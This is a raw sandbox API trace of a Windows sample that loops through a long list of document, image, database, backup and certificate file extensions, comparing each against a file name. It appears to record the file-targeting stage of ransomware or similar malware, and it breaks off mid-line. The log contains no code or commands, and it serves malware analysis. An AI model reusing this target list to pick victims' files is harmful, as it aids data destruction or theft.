[0076.397] lstrlenW (lpString=".adb") returned 4 [0076.397] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".adp") returned 4 [0076.397] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".ai") returned 3 [0076.397] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1 [0076.397] lstrlenW (lpString=".ai3") returned 4 [0076.397] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".ai4") returned 4 [0076.397] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".ai5") returned 4 [0076.397] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".ai6") returned 4 [0076.397] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".ai7") returned 4 [0076.397] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".ai8") returned 4 [0076.397] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1 [0076.397] lstrlenW (lpString=".anim") returned 5 [0076.397] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1 [0076.398] lstrlenW (lpString=".arw") returned 4 [0076.398] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1 [0076.398] lstrlenW (lpString=".as") returned 3 [0076.398] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1 [0076.398] lstrlenW (lpString=".asa") returned 4 [0076.398] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1 [0076.398] lstrlenW (lpString=".asc") returned 4 [0076.398] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1 [0076.398] lstrlenW (lpString=".ascx") returned 5 [0076.398] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1 [0076.398] lstrlenW (lpString=".asm") returned 4 [0076.398] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1 [0076.398] lstrlenW (lpString=".asmx") returned 5 [0076.398] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1 [0076.398] lstrlenW (lpString=".asp") returned 4 [0076.398] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1 [0076.398] lstrlenW (lpString=".aspx") returned 5 [0076.398] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1 [0076.398] lstrlenW (lpString=".asr") returned 4 [0076.398] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".asx") returned 4 [0076.399] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".avi") returned 4 [0076.399] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".avs") returned 4 [0076.399] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".backup") returned 7 [0076.399] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1 [0076.399] lstrlenW (lpString=".bak") returned 4 [0076.399] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".bay") returned 4 [0076.399] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".bd") returned 3 [0076.399] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1 [0076.399] lstrlenW (lpString=".bin") returned 4 [0076.399] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".bmp") returned 4 [0076.399] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".bz2") returned 4 [0076.399] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0076.399] lstrlenW (lpString=".c") returned 2 [0076.400] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1 [0076.400] lstrlenW (lpString=".cdr") returned 4 [0076.400] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1 [0076.400] lstrlenW (lpString=".cer") returned 4 [0076.400] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1 [0076.400] lstrlenW (lpString=".cf") returned 3 [0076.400] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1 [0076.400] lstrlenW (lpString=".cfc") returned 4 [0076.400] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1 [0076.400] lstrlenW (lpString=".cfm") returned 4 [0076.400] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1 [0076.400] lstrlenW (lpString=".cfml") returned 5 [0076.400] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1 [0076.400] lstrlenW (lpString=".cfu") returned 4 [0076.400] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1 [0076.400] lstrlenW (lpString=".chm") returned 4 [0076.400] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1 [0076.400] lstrlenW (lpString=".cin") returned 4 [0076.401] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".class") returned 6 [0076.401] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1 [0076.401] lstrlenW (lpString=".clx") returned 4 [0076.401] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".config") returned 7 [0076.401] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1 [0076.401] lstrlenW (lpString=".cpp") returned 4 [0076.401] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".cr2") returned 4 [0076.401] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".crt") returned 4 [0076.401] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".crw") returned 4 [0076.401] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".cs") returned 3 [0076.401] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1 [0076.401] lstrlenW (lpString=".css") returned 4 [0076.401] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1 [0076.401] lstrlenW (lpString=".csv") returned 4 [0076.401] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".cub") returned 4 [0076.402] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".dae") returned 4 [0076.402] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".dat") returned 4 [0076.402] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".db") returned 3 [0076.402] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1 [0076.402] lstrlenW (lpString=".dbf") returned 4 [0076.402] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".dbx") returned 4 [0076.402] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".dc3") returned 4 [0076.402] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".dcm") returned 4 [0076.402] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".dcr") returned 4 [0076.402] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1 [0076.402] lstrlenW (lpString=".der") returned 4 [0076.402] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1 [0076.403] lstrlenW (lpString=".dib") returned 4 [0076.403] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1 [0076.403] lstrlenW (lpString=".dic") returned 4 [0076.403] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1 [0076.403] lstrlenW (lpString=".dif") returned 4 [0076.403] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1 [0076.403] lstrlenW (lpString=".divx") returned 5 [0076.403] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1 [0076.403] lstrlenW (lpString=".djvu") returned 5 [0076.403] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1 [0076.403] lstrlenW (lpString=".dng") returned 4 [0076.403] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1 [0076.403] lstrlenW (lpString=".doc") returned 4 [0076.403] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0076.403] lstrlenW (lpString=".docm") returned 5 [0076.403] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1 [0076.403] lstrlenW (lpString=".docx") returned 5 [0076.403] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0076.404] lstrlenW (lpString=".dot") returned 4 [0076.404] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dotm") returned 5 [0076.404] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1 [0076.404] lstrlenW (lpString=".dotx") returned 5 [0076.404] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1 [0076.404] lstrlenW (lpString=".dpx") returned 4 [0076.404] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dqy") returned 4 [0076.404] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dsn") returned 4 [0076.404] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dt") returned 3 [0076.404] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1 [0076.404] lstrlenW (lpString=".dtd") returned 4 [0076.404] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dwg") returned 4 [0076.404] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dwt") returned 4 [0076.404] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1 [0076.404] lstrlenW (lpString=".dx") returned 3 [0076.405] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1 [0076.405] lstrlenW (lpString=".dxf") returned 4 [0076.405] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".edml") returned 5 [0076.405] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1 [0076.405] lstrlenW (lpString=".efd") returned 4 [0076.405] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".elf") returned 4 [0076.405] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".emf") returned 4 [0076.405] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".emz") returned 4 [0076.405] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".epf") returned 4 [0076.405] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".eps") returned 4 [0076.405] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1 [0076.405] lstrlenW (lpString=".epsf") returned 5 [0076.405] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1 [0076.405] lstrlenW (lpString=".epsp") returned 5 [0076.406] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1 [0076.406] lstrlenW (lpString=".erf") returned 4 [0076.406] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".exr") returned 4 [0076.406] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".f4v") returned 4 [0076.406] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".fido") returned 5 [0076.406] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1 [0076.406] lstrlenW (lpString=".flm") returned 4 [0076.406] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".flv") returned 4 [0076.406] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".frm") returned 4 [0076.406] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".fxg") returned 4 [0076.406] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".geo") returned 4 [0076.406] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1 [0076.406] lstrlenW (lpString=".gif") returned 4 [0076.407] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".grs") returned 4 [0076.407] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".gz") returned 3 [0076.407] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1 [0076.407] lstrlenW (lpString=".h") returned 2 [0076.407] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1 [0076.407] lstrlenW (lpString=".hdr") returned 4 [0076.407] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".hpp") returned 4 [0076.407] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".hta") returned 4 [0076.407] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".htc") returned 4 [0076.407] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".htm") returned 4 [0076.407] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1 [0076.407] lstrlenW (lpString=".html") returned 5 [0076.407] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1 [0076.408] lstrlenW (lpString=".icb") returned 4 [0076.408] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1 [0076.408] lstrlenW (lpString=".ics") returned 4 [0076.408] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1 [0076.408] lstrlenW (lpString=".iff") returned 4 [0076.408] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1 [0076.408] lstrlenW (lpString=".inc") returned 4 [0076.408] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1 [0076.408] lstrlenW (lpString=".indd") returned 5 [0076.408] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1 [0076.409] lstrlenW (lpString=".ini") returned 4 [0076.409] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".iqy") returned 4 [0076.409] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".j2c") returned 4 [0076.409] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".j2k") returned 4 [0076.409] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".java") returned 5 [0076.409] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1 [0076.409] lstrlenW (lpString=".jp2") returned 4 [0076.409] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".jpc") returned 4 [0076.409] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".jpe") returned 4 [0076.409] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1 [0076.409] lstrlenW (lpString=".jpeg") returned 5 [0076.410] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1 [0076.410] lstrlenW (lpString=".jpf") returned 4 [0076.410] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1 [0076.410] lstrlenW (lpString=".jpg") returned 4 [0076.410] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0076.410] lstrlenW (lpString=".jpx") returned 4 [0076.410] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1 [0076.410] lstrlenW (lpString=".js") returned 3 [0076.410] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1 [0076.410] lstrlenW (lpString=".jsf") returned 4 [0076.410] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1 [0076.410] lstrlenW (lpString=".json") returned 5 [0076.410] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1 [0076.410] lstrlenW (lpString=".jsp") returned 4 [0076.410] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1 [0076.410] lstrlenW (lpString=".kdc") returned 4 [0076.410] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1 [0076.410] lstrlenW (lpString=".kmz") returned 4 [0076.410] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".kwm") returned 4 [0076.411] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".lasso") returned 6 [0076.411] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1 [0076.411] lstrlenW (lpString=".lbi") returned 4 [0076.411] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".lgf") returned 4 [0076.411] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".lgp") returned 4 [0076.411] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".log") returned 4 [0076.411] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".m1v") returned 4 [0076.411] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".m4a") returned 4 [0076.411] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".m4v") returned 4 [0076.411] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1 [0076.411] lstrlenW (lpString=".max") returned 4 [0076.411] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".md") returned 3 [0076.412] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1 [0076.412] lstrlenW (lpString=".mda") returned 4 [0076.412] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mdb") returned 4 [0076.412] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mde") returned 4 [0076.412] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mdf") returned 4 [0076.412] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mdw") returned 4 [0076.412] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mef") returned 4 [0076.412] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mft") returned 4 [0076.412] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mfw") returned 4 [0076.412] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mht") returned 4 [0076.412] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1 [0076.412] lstrlenW (lpString=".mhtml") returned 6 [0076.413] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1 [0076.413] lstrlenW (lpString=".mka") returned 4 [0076.413] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mkidx") returned 6 [0076.413] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1 [0076.413] lstrlenW (lpString=".mkv") returned 4 [0076.413] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mos") returned 4 [0076.413] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mov") returned 4 [0076.413] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mp3") returned 4 [0076.413] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mp4") returned 4 [0076.413] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mpeg") returned 5 [0076.413] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1 [0076.413] lstrlenW (lpString=".mpg") returned 4 [0076.413] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1 [0076.413] lstrlenW (lpString=".mpv") returned 4 [0076.413] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".mrw") returned 4 [0076.414] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".msg") returned 4 [0076.414] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".mxl") returned 4 [0076.414] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".myd") returned 4 [0076.414] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".myi") returned 4 [0076.414] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".nef") returned 4 [0076.414] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".nrw") returned 4 [0076.414] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".obj") returned 4 [0076.414] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".odb") returned 4 [0076.414] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1 [0076.414] lstrlenW (lpString=".odc") returned 4 [0076.414] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".odm") returned 4 [0076.415] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".odp") returned 4 [0076.415] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".ods") returned 4 [0076.415] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".oft") returned 4 [0076.415] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".one") returned 4 [0076.415] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".onepkg") returned 7 [0076.415] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1 [0076.415] lstrlenW (lpString=".onetoc2") returned 8 [0076.415] lstrcmpiW (lpString1=".onetoc2", lpString2="2MUI.XML") returned -1 [0076.415] lstrlenW (lpString=".opt") returned 4 [0076.415] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1 [0076.415] lstrlenW (lpString=".oqy") returned 4 [0076.415] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".orf") returned 4 [0076.416] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".p12") returned 4 [0076.416] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".p7b") returned 4 [0076.416] lstrcmpiW (lpString1=".p7b", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".p7c") returned 4 [0076.416] lstrcmpiW (lpString1=".p7c", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pam") returned 4 [0076.416] lstrcmpiW (lpString1=".pam", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pbm") returned 4 [0076.416] lstrcmpiW (lpString1=".pbm", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pct") returned 4 [0076.416] lstrcmpiW (lpString1=".pct", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pcx") returned 4 [0076.416] lstrcmpiW (lpString1=".pcx", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pdd") returned 4 [0076.416] lstrcmpiW (lpString1=".pdd", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pdf") returned 4 [0076.416] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0076.416] lstrlenW (lpString=".pdp") returned 4 [0076.417] lstrcmpiW (lpString1=".pdp", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".pef") returned 4 [0076.417] lstrcmpiW (lpString1=".pef", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".pem") returned 4 [0076.417] lstrcmpiW (lpString1=".pem", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".pff") returned 4 [0076.417] lstrcmpiW (lpString1=".pff", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".pfm") returned 4 [0076.417] lstrcmpiW (lpString1=".pfm", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".pfx") returned 4 [0076.417] lstrcmpiW (lpString1=".pfx", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".pgm") returned 4 [0076.417] lstrcmpiW (lpString1=".pgm", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".php") returned 4 [0076.417] lstrcmpiW (lpString1=".php", lpString2=".XML") returned -1 [0076.417] lstrlenW (lpString=".php3") returned 5 [0076.417] lstrcmpiW (lpString1=".php3", lpString2="I.XML") returned -1 [0076.417] lstrlenW (lpString=".php4") returned 5 [0076.417] lstrcmpiW (lpString1=".php4", lpString2="I.XML") returned -1 [0076.417] lstrlenW (lpString=".php5") returned 5 [0076.418] lstrcmpiW (lpString1=".php5", lpString2="I.XML") returned -1 [0076.418] lstrlenW (lpString=".phtml") returned 6 [0076.418] lstrcmpiW (lpString1=".phtml", lpString2="UI.XML") returned -1 [0076.418] lstrlenW (lpString=".pict") returned 5 [0076.418] lstrcmpiW (lpString1=".pict", lpString2="I.XML") returned -1 [0076.418] lstrlenW (lpString=".pl") returned 3 [0076.418] lstrcmpiW (lpString1=".pl", lpString2="XML") returned -1 [0076.418] lstrlenW (lpString=".pls") returned 4 [0076.418] lstrcmpiW (lpString1=".pls", lpString2=".XML") returned -1 [0076.418] lstrlenW (lpString=".pm") returned 3 [0076.418] lstrcmpiW (lpString1=".pm", lpString2="XML") returned -1 [0076.418] lstrlenW (lpString=".png") returned 4 [0076.418] lstrcmpiW (lpString1=".png", lpString2=".XML") returned -1 [0076.418] lstrlenW (lpString=".pnm") returned 4 [0076.419] lstrcmpiW (lpString1=".pnm", lpString2=".XML") returned -1 [0076.419] lstrlenW (lpString=".pot") returned 4 [0076.419] lstrcmpiW (lpString1=".pot", lpString2=".XML") returned -1 [0076.419] lstrlenW (lpString=".potm") returned 5 [0076.419] lstrcmpiW (lpString1=".potm", lpString2="I.XML") returned -1 [0076.419] lstrlenW (lpString=".potx") returned 5 [0076.419] lstrcmpiW (lpString1=".potx", lpString2="I.XML") returned -1 [0076.419] lstrlenW (lpString=".ppa") returned 4 [0076.419] lstrcmpiW (lpString1=".ppa", lpString2=".XML") returned -1 [0076.419] lstrlenW (lpString=".ppam") returned 5 [0076.419] lstrcmpiW (lpString1=".ppam", lpString2="I.XML") returned -1 [0076.419] lstrlenW (lpString=".ppm") returned 4 [0076.419] lstrcmpiW (lpString1=".ppm", lpString2=".XML") returned -1 [0076.419] lstrlenW (lpString=".pps") returned 4 [0076.419] lstrcmpiW (lpString1=".pps", lpString2=".XML") returned -1 [0076.419] lstrlenW (lpString=".ppsm") returned 5 [0076.419] lstrcmpiW (lpString1=".ppsm", lpString2="I.XML") returned -1 [0076.419] lstrlenW (lpString=".ppt") returned 4 [0076.419] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0076.419] lstrlenW (lpString=".pptm") returned 5 [0076.419] lstrcmpiW (lpString1=".pptm", lpString2="I.XML") returned -1 [0076.420] lstrlenW (lpString=".pptx") returned 5 [0076.420] lstrcmpiW (lpString1=".pptx", lpString2="I.XML") returned -1 [0076.420] lstrlenW (lpString=".prn") returned 4 [0076.420] lstrcmpiW (lpString1=".prn", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".ps") returned 3 [0076.420] lstrcmpiW (lpString1=".ps", lpString2="XML") returned -1 [0076.420] lstrlenW (lpString=".psb") returned 4 [0076.420] lstrcmpiW (lpString1=".psb", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".psd") returned 4 [0076.420] lstrcmpiW (lpString1=".psd", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".pst") returned 4 [0076.420] lstrcmpiW (lpString1=".pst", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".ptx") returned 4 [0076.420] lstrcmpiW (lpString1=".ptx", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".pub") returned 4 [0076.420] lstrcmpiW (lpString1=".pub", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".pwm") returned 4 [0076.420] lstrcmpiW (lpString1=".pwm", lpString2=".XML") returned -1 [0076.420] lstrlenW (lpString=".pxr") returned 4 [0076.421] lstrcmpiW (lpString1=".pxr", lpString2=".XML") returned -1 [0076.421] lstrlenW (lpString=".py") returned 3 [0076.421] lstrcmpiW (lpString1=".py", lpString2="XML") returned 